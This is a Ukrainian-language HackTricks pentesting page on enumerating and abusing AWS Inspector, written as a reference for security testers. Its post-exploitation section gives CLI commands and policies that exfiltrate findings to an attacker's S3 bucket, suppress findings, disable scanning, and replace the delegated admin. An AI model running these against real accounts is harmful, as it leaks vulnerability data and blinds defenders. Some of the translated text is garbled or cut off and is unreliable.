AWS - Inspector Enum

AWS - Inspector Enum

Підтримайте HackTricks

Inspector

Amazon Inspector - це передовий автоматизований сервіс управління вразливостями, призначений для підвищення безпеки вашого середовища AWS. Цей сервіс постійно сканує екземпляри Amazon EC2, контейнерні зображення в Amazon ECR, Amazon ECS та функції AWS Lambda на предмет вразливостей та непередбаченого мережевого викриття. Завдяки потужній базі даних вразливостей Amazon Inspector надає детальні результати, включаючи рівні серйозності та рекомендації щодо усунення, що допомагає організаціям прогнозувати та вирішувати проблеми безпеки. Цей комплексний підхід забезпечує зміцнену безпекову позицію в різних службах AWS, сприяючи дотриманню вимог та управлінню ризиками.

Ключові елементи

Результати

Результати в Amazon Inspector - це детальні звіти про вразливості та викриття, виявлені під час сканування екземплярів EC2, репозиторіїв ECR або функцій Lambda. Залежно від їх стану, результати категоризуються як:

  • Активні: Вразливість не була усунена.

  • Закриті: Вразливість була усунена.

  • Приглушені: Вразливість була позначена цим станом через одне або кілька правил приглушення.

Результати також категоризуються на наступні три типи:

  • Пакет: Ці результати стосуються вразливостей у програмних пакетах, встановлених на ваших ресурсах. Приклади включають застарілі бібліотеки або залежності з відомими проблемами безпеки.

  • Код: Ця категорія включає вразливості, виявлені в коді програм, що виконуються на ваших ресурсах AWS. Загальні проблеми - це помилки кодування або небезпечні практики, які можуть призвести до порушень безпеки.

  • Мережа: Результати мережі ідентифікують потенційні викриття в мережевих конфігураціях, які можуть бути використані зловмисниками. Сюди входять відкриті порти, небезпечні мережеві протоколи та неправильно налаштовані групи безпеки.

Фільтри та правила приглушення

Фільтри та правила приглушення в Amazon Inspector допомагають управляти та пріоритизувати результати. Фільтри дозволяють вам уточнювати результати на основі конкретних критеріїв, таких як серйозність або тип ресурсу. Правила приглушення дозволяють приглушувати певні результати, які вважаються низьким ризиком, вже були усунені або з іншої важливої причини, що запобігає їх перевантаженню ваших звітів з безпеки та дозволяє фокусуватися на більш критичних питаннях.

Список програмного забезпечення (SBOM)

Список програмного забезпечення (SBOM) в Amazon Inspector - це експортований вкладений список інвентаризації, що деталізує всі компоненти в програмному пакеті, включаючи бібліотеки та залежності. SBOM допомагають забезпечити прозорість у ланцюжку постачання програмного забезпечення, що дозволяє краще управляти вразливостями та дотримуватися вимог щодо безпеки. Вони є важливими для ідентифікації та усунення ризиків, пов'язаних з відкритим джерелом та програмним забезпеченням сторонніх виробників.

Ключові функції

Експорт результатів

Amazon Inspector пропонує можливість експорту результатів до відрахунків Amazon S3, Amazon EventBridge та AWS Security Hub, що дозволяє генерувати детальні звіти про виявлені вразливості та викриття для подальшого аналізу або обміну в конкретну дату та час. Ця функція підтримує різноманітні формати виведення, такі як CSV та JSON, що полегшує інтеграцію з іншими інструментами та системами. Функціонал експорту дозволяє налаштовувати дані, включені в звіти, що дозволяє фільтрувати результати на основі конкретних критеріїв, таких як серйозність, тип ресурсу або діапазон дат, і включати за замовчуванням всі ваші результати в поточному регіоні AWS з активним статусом.

При експорті результатів необхідний ключ управління ключами (KMS) для шифрування даних під час експорту. Ключі KMS забезпечують захист експортованих результатів від несанкціонованого доступу, забезпечуючи додатковий рівень безпеки для чутливої інформації про вразливості.

Сканування екземплярів Amazon EC2

Amazon Inspector пропонує потужні можливості сканування для екземплярів Amazon EC2 для виявлення вразливостей та проблем безпеки. Inspector порівнює витягнуті метадані з екземпляра EC2 з правилами з попереджень про безпеку, щоб виявити вразливості пакетів та проблеми доступності мережі. Ці скани можуть виконуватися за допомогою методів на основі агента або без агента, залежно від налаштувань конфігурації режиму сканування вашого облікового запису.

  • На основі агента: Використовує агент AWS Systems Manager (SSM) для проведення глибоких сканувань. Цей метод дозволяє здійснювати комплексний збір даних та аналіз безпосередньо з екземпляра.

  • Без агента: Надає легку альтернативу, яка не вимагає встановлення агента на екземплярі, створюючи знімок EBS кожного тому екземпляра EC2, шукаючи вразливості, а потім видаляючи його; використовуючи існуючу інфраструктуру AWS для сканування.

Режим сканування визначає, який метод буде використовуватися для виконання сканування EC2:

  • На основі агента: Передбачає встановлення агента SSM на екземплярах EC2 для глибокого інспектування.

  • Гібридне сканування: Комбінує як методи на основі агента, так і без агента для максимізації охоплення та мінімізації впливу на продуктивність. На тих екземплярах EC2, де встановлено агент SSM, Inspector виконає сканування на основі агента, а для тих, де немає агента SSM, сканування буде виконано без агента.

Ще одна важлива функція - глибоке інспектування для екземплярів EC2 з Linux. Ця функція пропонує докладний аналіз програмного забезпечення та конфігурації екземплярів EC2 з Linux, надаючи детальну оцінку вразливостей, включаючи вразливості операційної системи, вразливості додатків та неправильні конфігурації, забезпечуючи комплексну оцінку безпеки. Це досягається через інспекцію власних шляхів та всіх його підкаталогів. За замовчуванням Amazon Inspector буде сканувати наступне, але кожен обліковий запис може визначити до 5 додаткових власних шляхів, а кожен делегований адміністратор - до 10:

  • /usr/lib

  • /usr/lib64

  • /usr/local/lib

  • /usr/local/lib64

Сканування контейнерних зображень Amazon ECR

Amazon Inspector надає потужні можливості сканування для контейнерних зображень реєстру еластичних контейнерів (ECR), що забезпечує ефективне виявлення вразливостей пакетів.

  • Базове сканування: Це швидке та легке сканування, яке виявляє відомі вразливості пакетів ОС в контейнерних зображеннях за допомогою стандартного набору правил з проекту з відкритим кодом Clair. З цією конфігурацією сканування ваші репозиторії будуть скануватися при кожному пуші або виконанні ручних сканувань.

  • Покращене сканування: Ця опція додає функцію постійного сканування на додачу до сканування при пуші. Покращене сканування глибоко аналізує шари кожного контейнерного зображення для виявлення вразливостей в пакетах ОС та пакетах мов програмування з вищою точністю. Воно аналізує як базове зображення, так і будь-які додаткові шари, надаючи комплексний огляд потенційних проблем безпеки.

Сканування функцій Amazon Lambda

Amazon Inspector включає комплексні можливості

Скани Центру інтернет-безпеки (CIS)

Amazon Inspector включає скани CIS для порівняння операційних систем екземплярів Amazon EC2 з рекомендаціями найкращих практик від Центру інтернет-безпеки (CIS). Ці скани забезпечують відповідність конфігурацій стандартам безпеки галузі.

  • Конфігурація: Скани CIS оцінюють, чи відповідають конфігурації систем конкретним рекомендаціям CIS Benchmark, при цьому кожна перевірка пов'язана з ідентифікатором та назвою перевірки CIS.

  • Виконання: Скани виконуються або плануються на підставі тегів екземплярів та визначених розкладів.

  • Результати: Результати після сканування показують, які перевірки пройшли, були пропущені або не пройшли, надаючи уявлення про безпеку кожного екземпляра.

Перелік

# Administrator and member accounts #

## Retrieve information about the AWS Inpsector delegated administrator for your organization (ReadOnlyAccess policy is enough for this)
aws inspector2 get-delegated-admin-account

## List the members who are associated with the AWS Inspector administrator account (ReadOnlyAccess policy is enough for this)
aws inspector2 list-members [--only-associated | --no-only-associated]
## Retrieve information about a member account (ReadOnlyAccess policy is enough for this)
aws inspector2 get-member --account-id <value>
## Retrieve the status of AWS accounts within your environment (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-account-status [--account-ids <value>]
## Retrieve the free trial status for the specified accounts (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-free-trial-info --account-ids <value>
## Retrieve the EC2 Deep Inspection status for the member accounts (Requires to be the delegated administrator)
aws inspector2 batch-get-member-ec2-deep-inspection-status [--account-ids <value>]

## List an account's permissions associated with AWS Inspector
aws inspector2 list-account-permissions

# Findings #

## List a subset of information of the findings for your envionment (ReadOnlyAccess policy is enough for this)
aws inspector2 list-findings
## Retrieve vulnerability intelligence details for the specified findings
aws inspector2 batch-get-finding-details --finding-arns <value>
## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this)
aws inspector2 list-finding-aggregations --aggregation-type <FINDING_TYPE | PACKAGE | TITLE | REPOSITORY | AMI | AWS_EC2_INSTANCE | AWS_ECR_CONTAINER | IMAGE_LAYER\
| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids <value>]
## Retrieve code snippet information about one or more specified code vulnerability findings
aws inspector2 batch-get-code-snippet --finding-arns <value>
## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this)
aws inspector2 get-findings-report-status --report-id <value>

# CIS #

## List CIS scan configurations (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scan-configurations
## List the completed CIS scans (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scans
## Retrieve a report from a completed CIS scan
aws inspector2 get-cis-scan-report --scan-arn <value> [--target-accounts <value>]
## Retrieve details about the specific CIS scan over the specified resource
aws inspector2 get-cis-scan-result-details --account-id <value> --scan-arn <value> --target-resource-id <value>
## List CIS scan results broken down by check
aws inspector2 list-cis-scan-results-aggregated-by-checks --scan-arn <value>
## List CIS scan results broken down by target resource
aws inspector2 list-cis-scan-results-aggregated-by-target-resource --scan-arn <value>

# Configuration #

## Describe AWS Inspector settings for AWS Organization (ReadOnlyAccess policy is enough for this)
aws inspector2 describe-organization-configuration
## Retrieve the configuration settings about EC2 scan and ECR re-scan
aws inspector2 get-configuration
## Retrieve EC2 Deep Inspection configuration associated with your account
aws inspector2 get-ec2-deep-inspection-configuration

# Miscellaneous #

## Retrieve the details of a Software Bill of Materials (SBOM) report
aws inspector2 get-sbom-export --report-id <value>

## Retrieve the coverage details for the specified vulnerabilities
aws inspector2 search-vulnerabilities --filter-criteria <vulnerabilityIds=id1,id2..>

## Retrieve the tags attached to the specified resource
aws inspector2 list-tags-for-resource --resource-arn <value>

## Retrieve the AWS KMS key used to encrypt the specified code snippets
aws inspector2 get-encryption-key --resource-type <AWS_EC2_INSTANCE | AWS_ECR_CONTAINER_IMAGE | AWS_ECR_REPOSITORY | AWS_LAMBDA_FUNCTION> --scan-type <NETWORK | PACKAGE | CODE>

## List the filters associated to your AWS account
aws inspector2 list-filters

## List the types of statistics AWS Inspector can generate (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage
## Retrieve statistical data and about the resources AWS Inspector monitors (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage-statistics

## List the aggregated usage total over the last 30 days
aws inspector2 list-usage-totals [--account-ids <value>]

### INSPECTOR CLASSIC ###

## Assessments info, there is a "describe" action for each one to get more info
aws inspector list-assessment-runs
aws inspector list-assessment-targets
aws inspector list-assessment-templates
aws inspector list-event-subscriptions

## Get findings
aws inspector list-findings

## Get exclusions
aws inspector list-exclusions --assessment-run-arn <arn>

## Rule packages
aws inspector list-rules-packages

Післяексплуатаційний етап

З точки зору атакувальника, ця служба може допомогти атакувальнику знайти вразливості та мережеві витоки, які можуть допомогти йому скомпрометувати інші екземпляри/контейнери.

Однак атакувальник також може бути зацікавлений у розгортанні цієї служби, щоб жертва не могла бачити вразливості (всі або певні).

inspector2:CreateFindingsReport, inspector2:CreateSBOMReport

Атакувальник може створювати докладні звіти про вразливості або програмні матеріали (SBOMs) та виводити їх з вашого середовища AWS. Ця інформація може бути використана для виявлення конкретних слабкостей, застарілої програмної продукції або небезпечних залежностей, що дозволяє проводити цілеспрямовані атаки.

# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
# SBOM report
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]

Наступний приклад показує, як ексфільтрувати всі активні виявлення з Amazon Inspector до контрольованого атакуючим бакету Amazon S3 з ключем керування Amazon KMS атакуючого:

  1. Створіть бакет Amazon S3 та додайте до нього політику, щоб мати доступ до нього з Amazon Inspector жертви:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "allow-inspector",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"s3:PutObject",
"s3:PutObjectAcl",
"s3:AbortMultipartUpload"
],
"Resource": "arn:aws:s3:::inspector-findings/*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
},
"ArnLike": {
"aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
}
}
}
]
}
  1. Створіть ключ Amazon KMS та додайте до нього політику, щоб його можна було використовувати Amazon Inspector жертви:

{
"Version": "2012-10-17",
"Id": "key-policy",
"Statement": [
{
...
},
{
"Sid": "Allow victim Amazon Inspector to use the key",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
}
}
}
]
}
  1. Виконайте команду для створення звіту про виявлення та ексфільтрації його:

aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
  • Потенційний вплив: Генерація та виведення детальних звітів про вразливості та програмне забезпечення, отримання відомостей про конкретні вразливості та слабкості безпеки.

inspector2:CancelFindingsReport, inspector2:CancelSbomExport

Зловмисник може скасувати генерацію вказаного звіту про виявлення або звіту SBOM, що перешкоджає командам безпеки отримувати своєчасну інформацію про вразливості та програмні матеріали (SBOM), затримуючи виявлення та усунення проблем безпеки.

# Cancel findings report generation
aws inspector2 cancel-findings-report --report-id <value>
# Cancel SBOM report generatiom
aws inspector2 cancel-sbom-export --report-id <value>
  • Потенційний вплив: Розрив моніторингу безпеки та унеможливлення своєчасного виявлення та усунення проблем безпеки.

inspector2:CreateFilter, inspector2:UpdateFilter, inspector2:DeleteFilter

Зловмисник з цими дозволами зможе маніпулювати правилами фільтрації, які визначають, які вразливості та проблеми безпеки повідомляються або приховуються (якщо дія встановлена ​​на SUPPRESS, буде створено правило приглушення). Це може приховати критичні вразливості від адміністраторів безпеки, ускладнюючи експлуатацію цих слабкостей без виявлення. Змінюючи або видаляючи важливі фільтри, зловмисник також може створювати шум, перенасичуючи систему непотрібними результатами, ускладнюючи ефективний моніторинг безпеки та реагування.

# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
# Update
aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [--filter-criteria <value>] [--reason <value>]
# Delete
aws inspector2 delete-filter --arn <value>
  • Потенційний вплив: Приховання або приглушення критичних вразливостей або затоплення системи непотрібними результатами.

inspector2:DisableDelegatedAdminAccount, (inspector2:EnableDelegatedAdminAccount & organizations:ListDelegatedAdministrators & organizations:EnableAWSServiceAccess & iam:CreateServiceLinkedRole)

Зловмисник може значно нарушити структуру управління безпекою.

  • Вимкнення делегованого облікового запису адміністратора, зловмисник може запобігти команді з безпеки отримувати доступ до налаштувань та звітів Amazon Inspector.

  • Увімкнення несанкціонованого облікового запису адміністратора дозволить зловмиснику керувати налаштуваннями безпеки, потенційно вимикаючи скани або змінюючи налаштування для приховування зловмисних дій.

Для того, щоб несанкціонований обліковий запис був у тій же Організації, що й жертва, необхідно стати делегованим адміністратором.

Для того, щоб несанкціонований обліковий запис став делегованим адміністратором, також необхідно після вимкнення законного делегованого адміністратора та перед увімкненням несанкціонованого облікового запису як делегованого адміністратора, законний адміністратор повинен бути відмічений як відключений делегований адміністратор від організації. Це можна зробити за допомогою наступної команди (необхідний дозвіл organizations:DeregisterDelegatedAdministrator): aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)

# Disable
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
# Enable
aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <value>
  • Потенційний вплив: Розрив у керуванні безпекою.

inspector2:AssociateMember, inspector2:DisassociateMember

Атакувальник може маніпулювати асоціацією облікових записів у складі організації Amazon Inspector. Асоціюючи несанкціоновані облікові записи або відокремлюючи законні, атакувальник може контролювати, які облікові записи включаються у сканування безпеки та звітування. Це може призвести до виключення критичних облікових записів з моніторингу безпеки, що дозволить атакувальнику використовувати вразливості в цих облікових записах без виявлення.

Цю дію потрібно виконати делегованим адміністратором.

# Associate
aws inspector2 associate-member --account-id <value>
# Disassociate
aws inspector2 disassociate-member --account-id <value>
  • Потенційний вплив: Виключення ключових облікових записів зі сканування безпеки, що дозволяє невиявлене використання вразливостей.

inspector2:Disable, (inspector2:Enable & iam:CreateServiceLinkedRole)

Атакуючий з дозволом inspector2:Disable матиме змогу вимкнути сканування безпеки для конкретних типів ресурсів (EC2, ECR, Lambda, код Lambda) вказаних облікових записів, залишаючи частину середовища AWS ненаглядною та вразливою до атак. Крім того, володіючи дозволами inspector2:Enable та iam:CreateServiceLinkedRole, атакуючий може відновити сканування вибірково, щоб уникнути виявлення підозрілих конфігурацій.

Цю дію потрібно виконати делегованим адміністратором.

# Disable
aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>]
# Enable
aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
  • Потенційний вплив: Створення сліпих зон у моніторингу безпеки.

inspector2:UpdateOrganizationConfiguration

Атакувальник з цим дозволом зможе оновлювати конфігурації вашої організації Amazon Inspector, що вплине на включення функцій сканування за замовчуванням для нових облікових записів учасників.

Цю дію потрібно виконати делегованим адміністратором.

aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
  • Потенційний вплив: Змінювати політики та конфігурації сканування безпеки для організації.

inspector2:TagResource, inspector2:UntagResource

Зловмисник може маніпулювати тегами на ресурсах AWS Inspector, які є критичними для організації, відстеження та автоматизації оцінок безпеки. Змінюючи або видаляючи теги, зловмисник може приховати потенційні вразливості від сканування безпеки, порушити звітність про відповідність та перешкоджати автоматизованим процесам виправлення, що призводить до невідповідних проблем безпеки та компрометації цілісності системи.

aws inspector2 tag-resource --resource-arn <value> --tags <value>
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
  • Потенційний вплив: Приховування вразливостей, порушення звітності про відповідність, порушення автоматизації безпеки та порушення розподілу витрат.

Посилання

Підтримайте HackTricks

Last updated